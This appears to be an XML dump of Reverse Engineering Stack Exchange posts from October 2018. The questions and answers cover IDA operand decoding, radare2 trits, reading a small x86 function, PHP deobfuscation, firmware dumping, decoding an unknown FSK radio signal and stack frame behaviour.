  <row Id="19548" PostTypeId="1" CreationDate="2018-10-05T10:31:37.673" Score="0" ViewCount="371" Body="&lt;p&gt;I have the instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add     edx, ds:dword_7BFC7A50[eax*4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add     edx, [eax*4+7BFC7A50h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I decode it via &lt;code&gt;decode_insn()&lt;/code&gt;. Then I try to get the information about the second operand. I can get &lt;code&gt;7BFC7A50&lt;/code&gt; from &lt;code&gt;insn_t.addr&lt;/code&gt;, but I can't get any information about  &lt;code&gt;[eax*4]&lt;/code&gt;. I mean I expect register number to be in &lt;code&gt;insn_t.ops[1].phrase&lt;/code&gt;, but there's an invalid value. And for some reason &lt;code&gt;insn_t.ops[1].type&lt;/code&gt; is &lt;code&gt;o_mem&lt;/code&gt;, not &lt;code&gt;o_displ&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="245" LastEditDate="2018-10-08T08:59:02.380" LastActivityDate="2018-10-08T08:59:02.380" Title="How to get index register from the instruction in IDA?" Tags="|ida|idapro-sdk|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19549" PostTypeId="1" CreationDate="2018-10-05T12:19:29.433" Score="2" ViewCount="8903" Body="&lt;p&gt;I'm reverse engineering an application and I identified a specific function call that has an output that I need to capture. For the actual capture, I'll do a memory dump, so that I can handle. However, I used rohitab's API Monitor to see the function call, but I'm having a hard time identifying it in a debugger. I'd like to use x64dbg since that's what I'm trying to learn, but IDA/Olly/Win all work. Any help is much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I included an image that shows the function call and the call stack. The one highlighted in blue is the one I'm trying to step to. Once I can step to it and have the debugger pause the process, I can issue a memory dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UN1JD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UN1JD.png&quot; alt=&quot;API Monitor&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="25892" LastActivityDate="2018-10-05T12:19:29.433" Title="How to step to specific function call?" Tags="|function-hooking|x64dbg|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19550" PostTypeId="1" CreationDate="2018-10-05T14:01:30.480" Score="4" ViewCount="857" Body="&lt;p&gt;I was reverse engineering a binary file. Details does not matter. The important part is that it is written in an architecture that is very unpopular, and there is no existing disassembler or decompiler that supports the architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to write a disassembler without too much difficulty. Also, assume that I have the full documentation on how the machine code is executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, writing a decompiler is much harder. So instead, I am thinking about using an existing decompiler and extend it to support my architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is a decompiler that can be extended to new architecture?&lt;/li&gt;&#xA;&lt;li&gt;How can I extend the decompiler to support my architecture?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25171" LastActivityDate="2019-03-07T18:36:36.410" Title="What's a decompiler that can be extended to new architecture, and how can I do it?" Tags="|tools|decompiler|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19551" PostTypeId="1" CreationDate="2018-10-05T17:44:02.013" Score="3" ViewCount="725" Body="&lt;p&gt;I'm investigating a tool. I have an section of an eeprom memory dump that this tool uses, shown in the figure below. By my inquiries, the two bytes highlighted in red are based on the bytes highlighted in green, because when the tool I am investigating changes any of the bytes in the green section, the tool changes the two bytes in red. When I manually change the data in green the tool does not recognize the file.&#xA;There is a redundant section just below, which I did not highlighted. However, the same applies to it. When I make redundant modifications to these sections, the tool does not recognize the file too.&#xA;The remainder of the file, outside the highlighted sections and its redundant portion, can be reset and the tool continues to recognize the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NoCxe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NoCxe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried CRC-16, CRC-16 CCITT, xor operations every 2 bytes, for example: 0x2017 ^ 0x28B3 ^ 0x10DB ^ 0xB858 ...&#xA;But I did not find the values ​​highlighted in red. Anyone have any tips?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDITED]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will put the numbers of the region in green here, maybe it can be more useful for those who want to help &lt;/p&gt;&#xA;&#xA;&lt;p&gt;20 17 28 B3 10 DB B8 58 00 00 00 00 00 00 00 00&#xA;54 48 AA 00 54 48 AA 00 00 00 00 00 00 00 00 00&#xA;4A 7E 5E 0C 00 00 00 00 00 00 00 00 00 00 00 00&#xA;00 7D 5E 6C 00 00 00 00 00 00 00 00 00 00 00 00&#xA;CD 7E 85 5B 7A B4 A2 CC A0 5C 81 D2 00 00 00 00&#xA;00 00 00 00 00 00 00 00 00 00 00 00 00 00 CD 7E&#xA;85 5B 7A B4 02 00 00 00 F9 E5 02 99 A6 1B 02 02&#xA;00 00 01 00 00 80 6B 00 0D 4E 04 00 00 00&lt;/p&gt;&#xA;" OwnerUserId="21835" LastEditorUserId="21835" LastEditDate="2018-10-10T11:23:29.383" LastActivityDate="2018-10-10T11:23:29.383" Title="EEPROM data bytes verification" Tags="|decryption|crc|memory-dump|" AnswerCount="0" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19553" PostTypeId="1" CreationDate="2018-10-06T00:11:28.077" Score="1" ViewCount="164" Body="&lt;p&gt;With Radare when I do &lt;code&gt;?&lt;/code&gt;, I get a list of answers in the result,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400a04]&amp;gt; ? -0x120 + 0x110&#xA;hex     0xfffffffffffffff0&#xA;octal   01777777777777777777760&#xA;unit    17179869184.0G&#xA;segment fffff000:0ff0&#xA;int64   -16&#xA;string  &quot;\xf0\xff\xff\xff\xff\xff\xff\xff&quot;&#xA;binary  0b1111111111111111111111111111111111111111111111111111111111110000&#xA;fvalue: -16.0&#xA;float:  nanf&#xA;double: nan&#xA;trits   0t11112220022122120101211020120210210211100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of these I understand, except a &lt;code&gt;trit&lt;/code&gt; -- the last one. What is this used for?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-10-06T16:22:58.633" Title="What is a &quot;trit&quot;?" Tags="|radare2|terminology|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19554" PostTypeId="1" AcceptedAnswerId="19557" CreationDate="2018-10-06T00:49:04.760" Score="2" ViewCount="4793" Body="&lt;p&gt;I have been struggling with this for a long time. I have the following assembly language code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.intel_syntax noprefix&#xA;.bits 32&#xA;&#xA;.global asm0&#xA;&#xA;asm0:&#xA;    push    ebp&#xA;    mov ebp,esp&#xA;    mov eax,DWORD PTR [ebp+0x8]&#xA;    mov ebx,DWORD PTR [ebp+0xc]&#xA;    mov eax,ebx&#xA;    mov esp,ebp&#xA;    pop ebp &#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;strong&gt;I want to figure out what asm(0xb6, 0xc6) returns&lt;/strong&gt;. I've been looking for ASM-&gt;C decompilers etc, and I cannot find anything for free. Could someone please help me decipher this? I've been trying for a really long time. I am familiar with C++ and Java programming, so even some sort of tool to convert it would be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently reading from this: &lt;a href=&quot;http://www.godevtool.com/GoasmHelp/newass.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.godevtool.com/GoasmHelp/newass.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25899" LastEditorUserId="25899" LastEditDate="2018-10-06T01:05:37.123" LastActivityDate="2018-10-06T02:31:17.213" Title="What does this assembly language program output?" Tags="|assembly|decompilation|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19555" PostTypeId="1" CreationDate="2018-10-06T01:00:37.163" Score="2" ViewCount="218" Body="&lt;p&gt;I need to inject my code into a 64-bit process. I'm wondering, how can I access &lt;code&gt;__argc&lt;/code&gt; and &lt;code&gt;__wargv&lt;/code&gt; global variables once in the injected process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HRjVo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HRjVo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they always present at a static/preset address?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2018-10-12T17:22:00.913" Title="How are __argc and __wargv globals exported from a 64-bit PE file compiled with Visual Studio?" Tags="|pe|injection|windows-10|assembly|x86-64|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19556" PostTypeId="2" ParentId="19553" CreationDate="2018-10-06T01:52:06.563" Score="3" Body="&lt;p&gt;It's simply the value of the expression shown in the base of &lt;code&gt;3&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x100001200]&amp;gt; ? 3&#xA;hex     0x3&#xA;octal   03&#xA;unit    3&#xA;segment 0000:0003&#xA;int32   3&#xA;string  &quot;\x03&quot;&#xA;binary  0b00000011&#xA;fvalue: 3.0&#xA;float:  0.000000f&#xA;double: 0.000000&#xA;trits   0t10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The implementation of it is in the &lt;a href=&quot;https://github.com/radare/radare2/blob/master/libr/util/unum.c#L497&quot; rel=&quot;nofollow noreferrer&quot;&gt;unum.c&lt;/a&gt; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trit is just an equivalent of bit in the base of &lt;code&gt;2&lt;/code&gt;. Have a look at &lt;a href=&quot;https://en.wikipedia.org/wiki/Ternary_numeral_system&quot; rel=&quot;nofollow noreferrer&quot;&gt;ternary numeral system&lt;/a&gt; on Wiki.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2018-10-06T02:48:02.400" LastActivityDate="2018-10-06T02:48:02.400" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19557" PostTypeId="2" ParentId="19554" CreationDate="2018-10-06T02:31:17.213" Score="8" Body="&lt;p&gt;This is such a small program so this could be followed without converting it back to C. Let's break it down what happens when it's being called with &lt;code&gt;asm(0xb6, 0xc6)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp&#xA;mov     ebp, esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those two lines are what's is called the function prologue. We first save the calling function stack frame (&lt;code&gt;ebp&lt;/code&gt; is tracking that) and in the second one, we set our function stack frame to be equal to the current stack location.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, DWORD PTR [ebp+0x8]&#xA;mov ebx, DWORD PTR [ebp+0xc]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above lines are loading our passed arguments to &lt;code&gt;eax&lt;/code&gt; and &lt;code&gt;ebx&lt;/code&gt;. Since in &lt;code&gt;cdecl&lt;/code&gt; arguments are passed via stack in reverse order, so after those lines in &lt;code&gt;eax&lt;/code&gt; we will have &lt;code&gt;0xb6&lt;/code&gt; and &lt;code&gt;ebx&lt;/code&gt; will be equal to &lt;code&gt;0xc6&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value from &lt;code&gt;ebx&lt;/code&gt; is stored in &lt;code&gt;eax&lt;/code&gt;, thus we drop the need of the first line from the previous fragment. Also since this is the last use of &lt;code&gt;eax&lt;/code&gt; in this code it can be interpreted as a return value as this is also a convention in &lt;code&gt;cdecl&lt;/code&gt;. So the return value, in this case, would be &lt;code&gt;0xc6&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov esp,ebp&#xA;pop ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just bringing back the stack as it was when we enter the function - also called function epilogue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And return back to the caller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having analyzed that it's just obvious that this function returns the second argument that's being passed to it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int second(int a, int b)&#xA;{&#xA;    return b;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could compile this code to a library and use it from C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;extern unsigned int _test (unsigned int, unsigned int);&#xA;&#xA;int main(void)&#xA;{&#xA;    printf(&quot;%x\n&quot;, _test(0xb6, 0xc6));&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and compile it with &lt;code&gt;gcc -m32 -o run asm.o call.o&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;./run &lt;br /&gt;&#xA;  c6&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could verify that it's the case without running it by for example using &lt;a href=&quot;https://godbolt.org/z/5gAK5m&quot; rel=&quot;noreferrer&quot;&gt;godbolt&lt;/a&gt; but since the code that assigns the first value to &lt;code&gt;eax&lt;/code&gt; and then replaces it with the second is actually not needed - it could just use the second argument from the beginning - it won't be generated even w/o any optimizations. &lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-10-06T02:31:17.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19558" PostTypeId="1" CreationDate="2018-10-06T08:24:31.267" Score="3" ViewCount="2993" Body="&lt;p&gt;I've found a bunch of obfuscated PHP scripts in my server but it seems I cannot deobfuscate them to follow the code flow. I came to the conclusion that the files have been obfuscated with &lt;a href=&quot;https://www.php-obfuscator.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php-obfuscator.com/&lt;/a&gt; and no deobfuscate tool that I know can convert php goto/labels to loops so I strongly think this is not a duplicate question. Can goto/labels be converted to while/foreach loops?&lt;/p&gt;&#xA;" OwnerUserId="25900" LastActivityDate="2018-10-18T22:10:51.167" Title="Deobfuscate PHP that contains - goto" Tags="|deobfuscation|php|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19560" PostTypeId="1" AcceptedAnswerId="19632" CreationDate="2018-10-06T15:15:51.300" Score="0" ViewCount="1454" Body="&lt;p&gt;I have a raw assembly dump i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.intel_syntax noprefix&#xA;.bits 32&#xA;.global main    &#xA;&#xA;main:&#xA;    push   ebp&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I know it's Intel x86 and the original function was most likely written in C. Now the question is whether I could use IDA to reverse this and get the original function?&lt;/p&gt;&#xA;" OwnerUserId="25903" LastActivityDate="2018-10-15T19:40:49.810" Title="Analyze raw assembly using IDA Pro" Tags="|ida|assembly|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="19561" PostTypeId="2" ParentId="19553" CreationDate="2018-10-06T16:22:58.633" Score="0" Body="&lt;p&gt;Apparently this is used for &lt;a href=&quot;https://en.wikipedia.org/wiki/Ternary_numeral_system#Binary-coded_ternary&quot; rel=&quot;nofollow noreferrer&quot;&gt;binary-coded ternary&lt;/a&gt; stuff, or would be anyway if anyone ever used it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a library which this &lt;a href=&quot;http://homepage.divms.uiowa.edu/~jones/ternary/libtern.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;may actually be used for here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's total novelty.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-10-06T16:22:58.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19563" PostTypeId="1" CreationDate="2018-10-06T21:08:05.257" Score="1" ViewCount="415" Body="&lt;p&gt;I am new into IDA and have some questions about the pseudocode in C.&#xA;Could someone please explain to me the meaning of the following two lines:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;(*(void (__fastcall **)(int *, _DWORD))(*v1 + 196))(v1, *(_DWORD *)(*v1 + 200));&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What does &lt;code&gt;(*v1 + 196)&lt;/code&gt; mean?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;if ( *(_BYTE *)(dword_9AEC7FB0 + 170) &amp;amp; 1 &amp;amp;&amp;amp; !*(_DWORD *)(dword_9AEC7FB0 + 92) )&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What is &lt;code&gt;dword_9AEC7FB0&lt;/code&gt;? A global variable?&lt;/p&gt;&#xA;" OwnerUserId="25907" LastEditorUserId="18317" LastEditDate="2018-10-06T23:13:56.307" LastActivityDate="2018-10-06T23:13:56.307" Title="Need help understanding IDA Pro pseudocode" Tags="|ida|decompilation|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19564" PostTypeId="1" CreationDate="2018-10-06T22:09:21.073" Score="1" ViewCount="213" Body="&lt;p&gt;I've read through the &lt;a href=&quot;https://www.renesas.com/us/en/doc/products/mpumcu/001/rej09b0230_sh7147hm.pdf?key=7ec46b48f36cbf2a036fc6d774223cd7&quot; rel=&quot;nofollow noreferrer&quot;&gt;Renesas SH7417 family manual&lt;/a&gt; and I don't see how to extract the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a limited boot mode that only allows writing to the MCU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers or ideas would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="25906" LastEditorUserId="18317" LastEditDate="2018-10-06T23:33:52.267" LastActivityDate="2018-10-06T23:33:52.267" Title="How to dump firmware from R5F71424 MCU" Tags="|debugging|firmware|hardware|memory-dump|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19565" PostTypeId="1" CreationDate="2018-10-07T02:22:59.487" Score="3" ViewCount="184" Body="&lt;p&gt;I was scanning the airwaves using my RTL-SDR and found a signal being broadcast locally that I was able to receive. When I configure the SDR Console V3 software to NFM, I get the following &lt;a href=&quot;https://www.dropbox.com/s/rpvvuc60b0q7i58/06-Sep-2018%2018h48m47s%20-%20460.519.5%20MHz%2C%20NFM.wav?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;audio.&lt;/a&gt; (Wav file)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/J3KyB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J3KyB.jpg&quot; alt=&quot;Waterfall&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I started investigating and here are my findings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I know:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to my local FCC equivalent the license documents list it as coming from an electrical switch yard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is are two different frequencies for Tx and Rx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The signal runs continuously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I assume:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That this is a 2-fsk/BFSK signal, due to the two tones it uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That it is broadcast in NFM. That mode does sound the best however, and lines up with licensing documents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That it is actually data, not just some tone control system or random noise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have done&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In SDR Console V3 I created an IQ &lt;a href=&quot;https://www.dropbox.com/s/0o425aev39s5jk5/05-Sep-2018%20174844.937%20460.514MHz%20000.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;recording.&lt;/a&gt; (Large File)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then created a flow graph in GNURadio to record a file using a sink &lt;a href=&quot;https://www.dropbox.com/s/css2anwgau6w9g8/460519200_2FSK_1M.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;file.&lt;/a&gt; (Large File)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a &lt;a href=&quot;https://www.dropbox.com/s/su2ab0r1nmuo6sx/Working.grc?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;GNURadio flow graph&lt;/a&gt; using that file as an input to low pass filters and a FM Demod.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://www.dropbox.com/s/qdya8werqyzv0qm/FMDemod_new?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demodulated file&lt;/a&gt; was then opened in Inspectrum which produced the following image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HwM6f.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HwM6f.jpg&quot; alt=&quot;Inspectrum&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I think I need to do next&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I need to recover the clock of the signal somehow. I have had a look for a preamble but can't see anything that might match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it might be Manchester encoded but I can see long runs of 0's or 1's so I don't think it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it might be clocked to the frequency of the local power supply given that it is in a switch yard, but it doesn't line up completely with rise or falls of the signal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I on the right path with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to determine the start of the message? The receiving radio has to be able to lock on to the start of the message somehow, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find a program in Linux called minimodem. I used the following command to get a somewhat readable output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;minimodem  -r -i -5 -M 1615 -S 1680 12 -f file_mono1.wav&#xA;It gave me the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TTTGB?/2991&quot;05&quot;/&quot;ZWLOQB?/29.1?)5&quot;/&quot;WWLOPZBOWWOMQBLTZXZLWZTGB?/OOMBLTZXZQWLOBB?/29.1?)5&quot;/&quot;YWLOHB?/29.1&quot;)6&quot;LZ_OYB?/29.1&quot;)5&quot;/&quot;&quot;5&quot;5^&quot;&quot;?9/29.1?)5&quot;/&quot;B59&amp;amp;??/29.1?)5)6&quot;WBTOGB?/29.1?)5&quot;/&quot;TGLOQB?/2991&quot;)5&quot;/&quot;LGLOPB?/29.1?)5&quot;/&quot;WGLOGB?/29.1?)5&quot;/&quot;BLTOZBBOXWOMQBLTZXZHGLOXB?/29.1?)5&quot;/&quot;TLTTHB?/29.1?)5&quot;/&quot;ZLTTOB?/;59.?)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But since I know nothing about the signal it may not be ASCII, it could be anything. It may not be 5 bit, it could be 8 bit for all I know. Can anyone shed any light on where to go next in investigating this?&lt;/p&gt;&#xA;" OwnerUserId="25910" LastActivityDate="2018-10-07T02:22:59.487" Title="Recovering data from mystery signal" Tags="|radio-interception|gnu-radio|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19567" PostTypeId="1" CreationDate="2018-10-07T16:40:01.423" Score="1" ViewCount="275" Body="&lt;p&gt;I'm writing a piece of software that will take positional data from a piece of software called Pyware and put it into a GUI so I can visualize the coordinates and assign each coordinate a color. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pyware is written in Java and I unzipped one of its save files and found the images Pyware loads as materials and then a .3dj file. I'm trying to reverse engineer the positional data from this 3dj file so I can create some reasonable coordinate system to load into my GUI but I'm pretty lost on how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the software was written in Java, I thought maybe the data was a serialized object, so I used google's &lt;a href=&quot;https://code.google.com/archive/p/jdeserialize/&quot; rel=&quot;nofollow noreferrer&quot;&gt;jdeserialize&lt;/a&gt; to try to reconstruct the object schema, but that didn't work. Here's the &lt;a href=&quot;https://github.com/cmilhaupt/all-of-the-lights/blob/master/edited.3dj&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt; I'm trying to reverse engineer. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="25908" LastActivityDate="2018-10-08T21:02:02.220" Title="Reverse Engineering Flat Data File" Tags="|static-analysis|java|digital-forensics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19568" PostTypeId="1" AcceptedAnswerId="19570" CreationDate="2018-10-07T23:21:55.413" Score="2" ViewCount="1352" Body="&lt;p&gt;How can you set up Radare2 webui in Kali or Ubuntu or any other OS?  I've tried so many different methods but none of them have worked so far.  I think both of them are debian based so that might be the reason it isn't working.  any suggestions on a distro which it would work?&lt;/p&gt;&#xA;" OwnerUserId="25727" LastActivityDate="2018-10-08T13:33:41.910" Title="Radare2 webui - need help setting it up" Tags="|linux|radare2|websites|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19570" PostTypeId="2" ParentId="19568" CreationDate="2018-10-08T11:17:22.463" Score="3" Body="&lt;p&gt;&lt;code&gt;radare2 -c='H' &amp;lt;binary&amp;gt;&lt;/code&gt; can run radare2 with web interface.&lt;br&gt;&#xA;I guess you are using &lt;code&gt;apt-get&lt;/code&gt; package manager for installing radare2, r2 &lt;code&gt;deb&lt;/code&gt; package has a bit problem (Web interface files aren't available in deb version), It's better to &lt;a href=&quot;https://rada.re/r/down.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;install the latest version of radare2 from git&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eAf9P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eAf9P.png&quot; alt=&quot;Radare 2 Web interface&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2864" LastEditorUserId="2864" LastEditDate="2018-10-08T13:33:41.910" LastActivityDate="2018-10-08T13:33:41.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19571" PostTypeId="1" AcceptedAnswerId="19572" CreationDate="2018-10-08T15:20:29.480" Score="2" ViewCount="1433" Body="&lt;p&gt;So before we come to the main function, it looks we are in a function with a name __libc_start_main&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and before we come to our main function we obviously push EBP value in the stack ( the value of EBP before main function, in the __libc_start_main function)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so first off is this value important? after the execution of main function, will the __libc_start_main function need this value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any function that gets called before __libc_start_main therefore making this EBP value important? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i tested it and even if i overwrite this value(in the stack) with overflowing, the program finishes with no problem but i don't get how and why? shouldn't it result in error or page fault? &lt;/p&gt;&#xA;" OwnerUserId="25864" LastEditorUserId="25864" LastEditDate="2018-10-08T15:25:38.217" LastActivityDate="2018-10-08T18:00:06.727" Title="Is the value of EBP before the main function important?" Tags="|x86|memory|buffer-overflow|stack|register|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
